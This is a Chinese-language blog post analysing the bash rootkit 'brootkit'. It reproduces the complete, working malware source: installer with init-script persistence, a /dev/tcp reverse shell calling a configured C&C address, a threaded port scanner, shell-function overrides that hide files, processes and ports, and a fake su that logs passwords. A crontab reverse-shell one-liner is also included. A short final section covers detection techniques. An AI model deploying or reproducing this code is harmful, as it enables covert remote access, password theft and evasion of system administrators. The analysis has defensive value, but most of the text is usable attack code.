BROOTKIT Pinciple、Code Analysis
1. Rootkit相关知识
关于rootkit的相关其他知识,请参阅以下文章
http://www.cnblogs.com/LittleHann/p/3918030.html http://www.cnblogs.com/LittleHann/p/3910696.html http://www.cnblogs.com/LittleHann/p/3879961.html http://www.cnblogs.com/LittleHann/p/3879118.html http://www.cnblogs.com/LittleHann/p/3870974.html
2. BROOTKIT源码分析
0x1: br.conf
在安装BROOKIT之前,需要先对br.conf进行配置(如果是freebsd,则需要配置brsh.conf)
brootkit config file. #the ports will be hide: port1,port2,...,portn. HIDE_PORT 8080,8899 #the files will be hide: file1,file2,...,filen. HIDE_FILE br.conf,bashbd.sh,brootkit,.bdrc,brdaemon #the process will be hide: process1,process2,...,processn. HIDE_PROC bashbd,brootkit,pty.spawn,brdaemon #the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c) REMOTE_HOST 10.97.235.12 #the connect back host port. REMOTE_PORT 8080 #the connect backdoor base sleep time. SLEEP_TIME 60
0x2: install.sh
#!/bin/bash BR_ROOTKIT_PATH="/usr/include/..." declare br_os_type=0 declare br_privilege=1 declare -a br_shell=() declare br_shell_idx=0 declare -a br_user=() function br_install_rootkit() { cp brootkit.sh /etc/profile.d/emacs.sh #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh } function br_hookhup() { : } function br_check_shell() { local idx line user shell while read line do # 从/etc/passwd的一行中读取用户名 user=`echo $line | cut -d ":" -f 1` # 从/etc/passwd的一行中读取当前用户对应的SHELL终端 shell=`echo $line | cut -d ":" -f 7` if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then br_user[br_shell_idx]=$user br_shell[br_shell_idx]=$shell ((br_shell_idx++)) fi done < /etc/passwd [ ${#br_user} -eq 0 ] && echo "no users has bash/sh environment." && exit for ((idx = 0; idx < $br_shell_idx; idx++)) do echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment." done } function br_check_privilege() { [ $UID -eq 0 -o $EUID -eq 0 ] && br_privilege=0 || br_privilege=1 } function br_set_rootkit_path() { if [ $br_privilege -eq 1 ]; then BR_ROOTKIT_PATH="/home/$USER/..." else echo "install brootkit using root privilege." fi } function br_check_os_type() { local line line=`head -n 1 /etc/issue` if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then br_os_type=1 elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then br_os_type=2 elif echo $line|grep "[Uu]buntu" >/dev/null; then br_os_type=3 elif echo $line|grep "[Dd]ebian" >/dev/null; then br_os_type=4 elif echo $line|grep "[Ff]edora" >/dev/null; then br_os_type=5 else echo -e "target os type - $line is not supported." exit 0 fi echo -e "target os type - $line" #echo $br_os_type } function br_centos_install() { local idx cp brdaemon.sh /etc/rc.d/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done } function br_ubuntu_install() { local idx cp brdaemon.sh /etc/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon } function br_debian_install() { cp brdaemon.sh /etc/init.d/brdaemon update-rc.d -f brdaemon start 20 2 3 4 5 } function br_fedora_install() { local idx cp brdaemon.sh /etc/rc.d/init.d/brdaemon for idx in 0 1 2 3 4 5 6 do ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit done } function br_creat_home() { mkdir -p $BR_ROOTKIT_PATH -m 0777 [ $? -eq 1 ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下 cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH [ $? -eq 1 ] && echo "copy brootkit failed." && exit chmod 777 $BR_ROOTKIT_PATH } function br_install_backdoor() { if ! type nohup >/dev/null; then nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 [ $? -eq 1 ] && echo "install backdoor failed." && exit else trap br_hookhup SIGHUP $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 & [ $? -eq 1 ] && echo "install backdoor failed." && exit fi } function main() { # 检测操作系统类型 br_check_os_type # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端 br_check_shell # 检测当前是否是特权(root、sduo)用户 br_check_privilege # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/... br_set_rootkit_path # 创建B、初始化ROOTKIT的HOME目录 br_creat_home # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh br_install_backdoor # 设置隐蔽的常驻自启动后门 if [ $br_privilege -eq 0 ]; then case $br_os_type in 1|2) # /etc/rc.d/init.d/brdaemon br_centos_install ;; 3) # /etc/init.d/brdaemon br_ubuntu_install ;; 4) # /etc/init.d/brdaemon br_debian_install ;; 5) # /etc/rc.d/init.d/brdaemon br_fedora_install ;; esac br_install_rootkit fi if [ $? -eq 1 ]; then echo "install brootkit failed." exit else echo "install brootkit successful." fi } main
0x3: bashbd.sh
BROOTKIT的主程序,负责解析载入配置文件,并通过Linux原生提供的特殊Socket设备连接主控端(C&c),即所谓的"肉鸡上线"
#!/bin/bash declare BR_ROOTKIT_PATH function br_set_rootkit_path() { if [ $UID -eq 0 -o $EUID -eq 0 ]; then BR_ROOTKIT_PATH="/usr/include/..." else BR_ROOTKIT_PATH="/home/$USER/..." fi } function br_connect_backdoor() { local target_ip=$br_remote_host local target_port=$br_remote_port local sleep_time=$br_sleep_time while [ 1 ] do MAX_ROW_NUM=`stty size | cut -d " " -f 1` MAX_COL_NUM=`stty size | cut -d " " -f 2` { PS1='[\A j\j \u@\h:t\l \w]\$';export PS1 exec 9<> /dev/tcp/$target_ip/$target_port [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 if type python >/dev/null;then export MAX_ROW_NUM MAX_COL_NUM python -c 'import pty; pty.spawn("/bin/bash")' else /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i fi }& wait # 通过sleep保持通道联通 sleep $((RANDOM%sleep_time+sleep_time)) done } br_set_rootkit_path # 运行$BR_ROOTKIT_PATH/brconfig.sh,加载配置文件 . $BR_ROOTKIT_PATH/brconfig.sh # 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数,并保存到本地变量中 br_load_config $BR_ROOTKIT_PATH/br.conf # 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现 br_connect_backdoor
Relevant Link:
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
0x4: brconfig.sh
负责解析加载配置文件的SHELL文件
#!/bin/bash declare -a br_hide_port declare -a br_hide_file declare -a br_hide_proc declare -a br_remote_host declare -a br_remote_port declare br_sleep_time function br_load_config() { local arg1 arg2 line while read line do [ "${line:0:1}" == "#" -a -z "$line" ] && continue arg1=`echo $line | cut -d " " -f 1` arg2=`echo $line | cut -d " " -f 2` case $arg1 in "HIDE_PORT") br_hide_port=$arg2;; "HIDE_FILE") br_hide_file=$arg2;; "HIDE_PROC") br_hide_proc=$arg2;; "REMOTE_HOST") br_remote_host=$arg2;; "REMOTE_PORT") br_remote_port=$arg2;; "SLEEP_TIME") br_sleep_time=$arg2;; esac done < $1 } function display_array() { declare -a arg_tmp=$1 local arg old_ifs old_ifs=$IFS; IFS="," for arg in ${arg_tmp[@]} do echo $arg done IFS=$old_ifs } function br_display_config() { echo -e "HIDE_PORT:" display_array $br_hide_port echo -e "HIDE_FILE:" display_array $br_hide_file echo -e "HIDE_PROC:" display_array $br_hide_proc echo -e "REMOTE_HOST:" display_array $br_remote_host echo -e "REMOTE_PORT:" display_array $br_remote_port echo -e "SLEEP_TIME:" echo $br_sleep_time }
0x5: brscan.sh
基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描
#!/bin/bash declare br_remote_host="localhost" declare -a br_ports declare -a br_open_ports declare br_port_num=0 declare br_curr_port_num=0 declare br_open_port_num=0 declare br_thread_num=0 declare br_timeout=2 declare br_logfile="brscan.log" declare total_run_time declare max_row_num declare -a playx=('/' '|' '\\' '-') declare playx_len=4 declare max_col_num=64 declare base_row=0 declare base_col=1 declare cur_col=2 declare total_port=10 declare cur_port=0 function br_run_play() { local i x y tmp_col tmp_col=$((br_curr_port_num * max_col_num / br_port_num)) i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) for ((i = 1; i < $tmp_col; i++)) do y=$((base_col+i)) [ $y -gt $max_col_num ] && break echo -ne "\033[${x};${y}H>\033[?25l" done } function br_play_init() { local x y i i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) echo -ne "\033[${x};${base_col}H\033[33m[\033[0m" y=$((max_col_num+1)) echo -ne "\033[${x};${y}H\033[33m]\033[0m" } function compute_run_time() { local day hour min rtime day=$(($1/3600/24)) hour=$(($1/3600)) min=$(($1/60)) if [ $min -eq 0 ]; then sec=$(($1%60)) total_run_time="$sec s" else if [ $hour -eq 0 ]; then sec=$(($1%60)) total_run_time="$min m $sec s" else if [ $day -eq 0 ]; then tmp=$(($1%3600)) min=$(($tmp/60)) sec=$(($tmp%60)) total_run_time="$hour h $min m $sec s" else # 86400 = 3600 * 24 tmp=$(($1%86400)) hour=$(($tmp/3600)) tmp1=$(($tmp%3600)) min=$(($tmp1/60)) sec=$(($tmp1%60)) total_run_time="$day d $hour h $min m $sec s" fi fi fi } function get_run_time() { local run_count local_hz run_time local start_time curr_time if [ -d "/proc/$1" ]; then run_count=`cat /proc/$1/stat | cut -d " " -f 22` else return 0 fi local_hz=`getconf CLK_TCK` start_time=$(($run_count/$local_hz)) curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1` run_time=$((curr_time-start_time)) return $run_time } function br_show_open_ports() { local x y i get_run_time $$ run_time=$? compute_run_time $run_time i=$((max_row_num+1)) [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4)) y=$((max_col_num+3)) printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \ $br_curr_port_num $br_port_num x=$((x+2)); y=1 printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \ $br_remote_host } # $1 => remote host # $2 => remote port # $3 => thread_num function thread_scan() { local tport pid pidfile sock_fd local i j k m=0 run_time x mkdir -p .scan for ((i = 0; i < $3; i++)) do { let "sock_fd=$2+$i" let "j=$2+$i+3" /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]} }& let "k=$2+$i" x=$((m+3)) if [ $x -ge $max_row_num ]; then m=0;x=3 else ((m++)) fi printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \ $i $! ${br_ports[$k]} echo ${br_ports[$k]} > ".scan/$!" [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++)) done sleep $br_timeout exec 2>&- for pid in `jobs -p` do get_run_time $pid run_time=$? [ $run_time -eq 0 ] && continue if [ $run_time -ge $br_timeout ]; then kill -9 $pid >/dev/null 2>&1 rm -f ".scan/$pid" fi done for ((i = 0; i < $3; i++)) do let "sock_fd=$2+$i" if [ ! -s ${br_ports[$sock_fd]} ]; then for pid_file in `ls .scan` do tport=`cat ".scan/$pid_file"` if [ $tport -eq ${br_ports[$sock_fd]} ]; then br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]} ((br_open_port_num++)) fi done fi rm -f ${br_ports[$sock_fd]} done br_run_play br_show_open_ports rm -fr .scan } # $1 => remote host # $2 => thread_num function br_scan_port() { local i for ((i = 0; i < $br_port_num; i+=$br_thread_num)) do thread_scan $br_remote_host $i $br_thread_num done } function br_show_ports() { local i for ((i = 0; i < $br_port_num; i++)) do echo ${br_ports[$i]} done } function parse_port() { local start_port end_port port start_port=`echo $1 | cut -d "-" -f 1` end_port=`echo $1 | cut -d "-" -f 2` for ((port=$start_port; port <= $end_port; port++)) do br_ports[$br_port_num]=$port ((br_port_num++)) done ((br_port_num--)) } function br_parse_port() { declare -a ports local tmp_ifs port tmp_ifs=$IFS; IFS=','; ports=$1 for port in ${ports[@]} do if echo $port|grep -e ".*-.*" >/dev/null; then parse_port $port else br_ports[$br_port_num]=$port ((br_port_num++)) fi done IFS=$tmp_ifs } function br_show_arg() { echo -ne "\033[1;1H" echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num " echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m" } function br_scan_init() { echo -ne "\033[2J" MAX_ROW_NUM=`stty size|cut -d " " -f 1` MAX_COL_NUM=`stty size|cut -d " " -f 2` max_row_num=$((MAX_ROW_NUM-5)) } function br_scan_exit() { echo -e "\033[?25h" } function br_usage() { echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n" echo -e "option:" echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..." echo -e "-n\t\tthread num, defalut is 10" echo -e "-t\t\ttimeout, default is 30s" echo -e "-o\t\tresults write into log file, default is brscan.log" echo -e "-h\t\thelp information." echo -e "\nexp:" echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org" echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org" } function main() { if [ $# -eq 0 ]; then br_usage $0 exit 0 fi while getopts "p:n:t:o:h" arg do case $arg in p) # 解析用户输入的端口信息 br_parse_port $OPTARG ;; n) # 线程数 br_thread_num=$OPTARG ;; t) # 时间延时 br_timeout=$OPTARG ;; o) # 日志文件 br_logfile=$OPTARG ;; h) br_usage $0 exit 0 ;; ?) echo "unkown arguments." exit 1 ;; esac done shift $((OPTIND-1)) # 待扫描的远程主机IP br_remote_host=$@ [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num #br_show_ports # 扫描初始化 br_scan_init br_play_init # 显示扫描参数 br_show_arg br_scan_port br_scan_exit } main $@
0x6: brootkit.sh
在全局范围定义了指令别名(alias)和实现函数
#!/bin/bash # Lightweight rootkit implemented by bash shell scripts v0.08 # # by wzt 2015 http://www.cloud-sec.org # #declare -r builtin #declare -r declare #declare -r set #declare -r fake_unset #declare -r type #declare -r typeset #unalias ls >/dev/null 2>&1 set +v BR_ROOTKIT_PATH="/usr/include/..." function abcdmagic() { : } function br_hide_engine() { declare -a brootkit_func=( "^typeset.*()|15" "^type.*()|27" "^su.*()|26" "^reset_ps.*()|8" "^reset_netstat.*()|8" "^reset_ls.*()|8" "^reset_command.*()|42" "^ps.*()|14" "^netstat.*()|14" "^max_file_length.*()|9" "^ls.*()|64" "^fake_unset.*()|10" "^fake_command.*()|12" "^display_array.*()|11" "^dir.*()|3" "^declare.*()|41" "^command*()|39" "^builtin.*()|19" "^br_load_config.*()|28" "^br_display_config.*()|14" "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5" "^/bin/ps.*()|5" "^/bin/netstat.*()|5" "^/bin/ls.*()|5" "^br_hide_file=|5" "^set.*()|19" "^br_hide_engine.*()|30" ) local func_line br_func func_name func_num echo "$1" >.br.tmp for br_func in ${brootkit_func[*]} do func_name=`echo $br_func | cut -d "|" -f 1` func_num=`echo $br_func | cut -d "|" -f 2` #echo $func_name $func_num func_line=`grep -n "$func_name" .br.tmp| awk -F: {'print $1'}` #echo $func_line sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1 done cat .br.tmp; rm -f .br.tmp } function builtin() { local fake_a unset command case $1 in "declare"|"set"|"unset"|"command"|"type"|"typeset") fake_a="$(command builtin $1 $2)" br_hide_engine "$fake_a" reset_command return ;; "builtin") echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support." reset_command return ;; *) command builtin $1 $2 reset_command ;; esac } function declare() { local fake_a unset command case $1 in "") fake_a="$(command declare $1 $2)" br_hide_engine "$fake_a" reset_command return ;; "-f"|"-F") fake_a="$(command declare $1 $2)" fake_b=${fake_a/\/bin\/ls?()*/} echo -n "$fake_b" reset_command return ;; *) command declare $1 $2 reset_command return ;; esac } function typeset() { local fake_a unset command case $1 in ""|"-f"|"-F") fake_a="$(command declare $1 $2)" br_hide_engine "$fake_a" reset_command return ;; *) command typeset $1 $2 reset_command return ;; esac } function type() { case $1 in "builtin"|"declare"|"set"|"unset"|"type"|"typeset") echo "$1 is a shell builtin" return ;; "dir") echo "dir is /usr/bin/dir" return ;; "ls") echo "ls is aliased to ls --color=tty" return ;; "ps") echo "ps is /bin/ps" return ;; "netstat") echo "netstat is hashed (/bin/netstat)" return ;; "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat") echo "$1 is $1" return ;; *) unset command command type $1 $2 reset_command return ;; esac } function set() { local fake_a unset command case $1 in "") fake_a="$(command set)" br_hide_engine "$fake_a" reset_command return ;; "-x"|"+x") reset_command return ;; *) echo $1 $2 command set $1 $2 reset_command return ;; esac } function fake_unset() { case $1 in "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset") echo "bash: syntax error, bash($BASH_VERSION) is not support." return ;; *) unset $1 $2 return ;; esac } function fake_command() { case $1 in "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset") echo "bash: syntax error, bash($BASH_VERSION) is not support." return ;; *) unset command command $1 $2 reset_command return ;; esac } function command() { case $1 in "builtin") builtin $2 $3 return ;; "declare") declare $2 $3 return ;; "set") set $2 $3 return ;; "unset") fake_unset $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; "type") type $2 $3 return ;; "typeset") typeset $2 $3 return ;; "command") fake_command $2 $3 return ;; *) unset command command $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; esac } function reset_command() { function command() { case $1 in "builtin") builtin $2 $3 return ;; "declare") declare $2 $3 return ;; "set") set $2 $3 return ;; "unset") fake_unset $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; "type") type $2 $3 return ;; "typeset") typeset $2 $3 return ;; "command") fake_command $2 $3 return ;; *) unset command command $2 $3 . $BR_ROOTKIT_PATH/brootkit.sh return ;; esac } } function su() { local arg_list=("" "-" "-l" "--login" "-c" "--command" "--session-command" "-f" "--fast" "-m" "--preserve-environment" "-p" "-s" "--shell=SHELL") local flag=0 tmp_arg arg pass if [ $UID -eq 0 ]; then /bin/su $1; unset su ; return $? fi for arg in ${arg_list[@]} do [ "$1" = "$arg" ] && flag=1 done [ $# -eq 0 ] && flag=1 tmp_arg=$1;tmp_arg=${tmp_arg:0:1}; [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1 if [ $flag -ne 1 ];then /bin/su $1; return $? fi [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1` echo -ne "Password:\r\033[?25l" read -t 30 -s pass echo -ne "\033[K\033[?25h" /bin/su && unset su && echo $pass >> /tmp/... } unalias ls >/dev/null 2>&1 function max_file_length() { local tmp_file sum=0 n=0 for tmp_file in `/bin/ls $@` do n=${#tmp_file} [ $n -gt $sum ] && sum=$n done return $sum } function ls() { local fake_file max_col_num file_format local hide_file hide_flag file_arg old_ifs local file_len=0 sum=0 n=0 display_mode=0 max_col_num=`stty size|cut -d " " -f 2` . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf for file_arg in $@ do if echo $file_arg|grep -q -e "^-.*l.*"; then display_mode=1; break fi done case $display_mode in 0) unset -f /bin/ls max_file_length $@ file_len=$? for fake_file in $(/bin/ls $@) do hide_flag=0 old_ifs=$IFS; IFS="," for hide_file in ${br_hide_file[@]} do if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then hide_flag=1; break fi done IFS=$old_ifs [ $hide_flag -eq 1 ] && continue n=${#fake_file} ((sum=sum+n+file_len)) if [ $sum -gt $max_col_num ];then file_format="%-$file_len""s\n" printf $file_format $fake_file sum=0 else file_format="%-$file_len""s " printf $file_format $fake_file fi done [ $sum -le $max_col_num ] && echo "" reset_ls return ;; 1) unset -f /bin/ls fake_file=`/bin/ls $@` old_ifs=$IFS; IFS="," for hide_file in ${br_hide_file[@]} do fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'` done IFS=$old_ifs echo "$fake_file" reset_ls return ;; esac } function dir() { /bin/ls $@ } function /usr/bin/dir() { unset -f /bin/ls /bin/ls $@ reset_ls } function reset_ls() { function /bin/ls() { unset -f /bin/ls /bin/ls $@ reset_ls } } function /bin/ls() { unset -f /bin/ls /bin/ls $@ reset_ls } function ps() { local proc_name hide_proc old_ifs . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf old_ifs=$IFS; IFS="," proc_name=`/bin/ps $@` for hide_proc in ${br_hide_proc[@]} do proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'` done echo "$proc_name" IFS=$old_ifs } function reset_ps() { function /bin/ps() { unset -f /bin/ps ps $@ reset_ps } } function /bin/ps() { unset -f /bin/ps ps $@ reset_ps } function netstat() { local hide_port tmp_port old_ifs . $BR_ROOTKIT_PATH/brconfig.sh br_load_config $BR_ROOTKIT_PATH/br.conf old_ifs=$IFS; IFS="," tmp_port=`/bin/netstat $@` for hide_port in ${br_hide_port[@]} do tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'` done echo "$tmp_port" IFS=$old_ifs } function reset_netstat() { function /bin/netstat() { unset -f /bin/netstat netstat $@ reset_netstat } } function /bin/netstat() { unset -f /bin/netstat netstat $@ reset_netstat }
/etc/profile.d/brootkit.sh环境配置文件在这里相当于进行了BASH函数重载的操作,我们知道,Bash下执行执行是遵循一个寻址顺序的
1. builtin(alias)别名: alias su="ls -l" 2. 自定义BASH函数: function su { echo “Hello world”; } 3. Bash内置命令 4. 外部程序(搜索顺序取决于环境变量PATH的配置) 1) .(当前目录) 2) /bin/ 3) /sbin/ 4) /usr/bin 5) /usr/sbin
使用Bash自定义Functino进行Bash劫持的时候,需要注意的是,Bash有一些指令可以查看到这个现象,为了规避入侵检测系统,还需要做额外的处理
1. builtin builtin [shell-builtin [args]] Run a shell builtin, passing it args, and return its exit status. This is useful when defining a shell function with the same name as a shell builtin, retaining the functionality of the builtin within the function. The return status is non-zero if shell-builtin is not a shell builtin command. 2. declare declare [-afFrxi] [-p] [name[=value]] Declare variables and give them attributes. If no names are given, then display the values of variables instead. 3. typeset typeset [-afFrxi] [-p] [name[=value]] The typeset command is supplied for compatibility with the Korn shell; however, it has been deprecated in favor of the declare builtin command. 4. type type [-atp] [name ...] For each name, indicate how it would be interpreted if used as a command name. 5. set 用set命令可以设置各种shell选项或者列出shell变量,包括用户自定义的Bash函数 6. command command [-pVv] command [arguments ...] Runs command with arguments ignoring any shell function named command. Only shell builtin commands or commands found by searching the PATH are executed. If there is a shell function named ls, running `command ls' within the function will execute the external command ls instead of calling the function recursively. The `-p' option means to use a default value for PATH that is guaranteed to find all of the standard utilities. The return status in this case is 127 if command cannot be found or an error occurred, and the exit status of command otherwise.
在Bash自定义函数中,加入过滤引擎逻辑,对需要隐藏的输出进行过滤,实现了基于Bash的输出隐藏功能
Relevant Link:
https://github.com/cloudsec/brootkit http://www.faqs.org/docs/bashman/bashref_55.html http://www.4byte.cn/learning/44254.html http://www.gnu.org/software/bash/manual/bashref.html#Executing-Commands
3. 关键技术点
1. more hidable ability against admintrator or hids. 相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物",brootkit的安装和运行并没有造成系统产生很多"异常"的行为,/brootkit有种润物细无声的感觉,充分利用了系统原生提供的机制 1) Bash自定义Function劫持,实现Bash输出Hook 2) /dev/[tcp、udp]网络socket特殊设备 3) /etc/profile.d/emac.sh默认自启动脚本 2. su passwd thief. 3. hide file and directorys. 4. hide process. 5. hide network connections. 6. connect backdoor. 利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线 7. muilt thread port scanner. 8. http download.
function ps() { local proc_name hide_proc old_ifs old_ifs=$IFS; IFS="," proc_name=`/bin/ps $@` proc_name=`echo "$proc_name" | sed -e '/'crond'/d'` echo "$proc_name" IFS=$old_ifs } //通过bash builtin内建函数隐藏crond进程
alias top='top | grep -v crond'
0x1: 建立隐蔽SHELL后门
crontab * * * * * exec 10<> /dev/tcp/127.0.0.1/888;exec 0<&10;exec 1>&10 2>&1;/bin/bash --noprofile -i;
在C&C主控端监听指定端口
nc -l 888
Relevant Link:
http://blog.csdn.net/nash603/article/details/6152200 http://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html
4. 防御策略
BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接,如果直接从静态的角度来说很难检测出这个rootkit,或者准确地说是很难将brootkit和正常系统文件区分开来,但是从动态主防的角度是可以检测出brootkit的
1. 指令执行捕获 brootkit实现了文件隐藏、进程隐藏,但是黑客在系统上执行的指令依然会被捕获到,例如使用LD_PRELOAD Hook技术 2. 网络外连捕获 cat < /dev/tcp/www.baidu.com/80 exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat <&3 /* 这种网络外连请求好像不是走的socket connect渠道,/dev/tcp是一个伪设备,那可能走的直接是VFS的read、write层了 ring3的LD_PRELOAD glibc function hook ring0的sys_connect function hook 都无法捕获到这个网络外连请求
http://chenhuican.diandian.com/post/2014-11-07/40063344563 */
0x1: Bash指令劫持检测
1. 通过Bash指令: cut -d: -f1 /etc/passwd,获取当前账户列表 2. 遍历列表,调用getpwnam、getgrgid获取每个账户的pw_name、pw_shell,过滤出是shell为非"/sbin/nologin"的账户 3. 遍历所有用户的/home/$user$/.bashrc、/home/$user$/.bash_profile,查找是否存在敏感关键字: 1) alias top=.. 2) alias lsof=.. 3) function ps().. 4) function netstat().. 5) function lsof().. 6) function top().. 4. 查找/root/.bashrc、/root/.bash_profile、/etc/profile是否存在敏感关键字: 1) alias top=.. 2) alias lsof=.. 3) function ps().. 4) function netstat().. 5) function lsof().. 6) function top()..
Relevant Link:
http://tldp.org/LDP/abs/html/devref1.html#DEVTCP http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html http://blog.csdn.net/zhjutao/article/details/8622751 http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html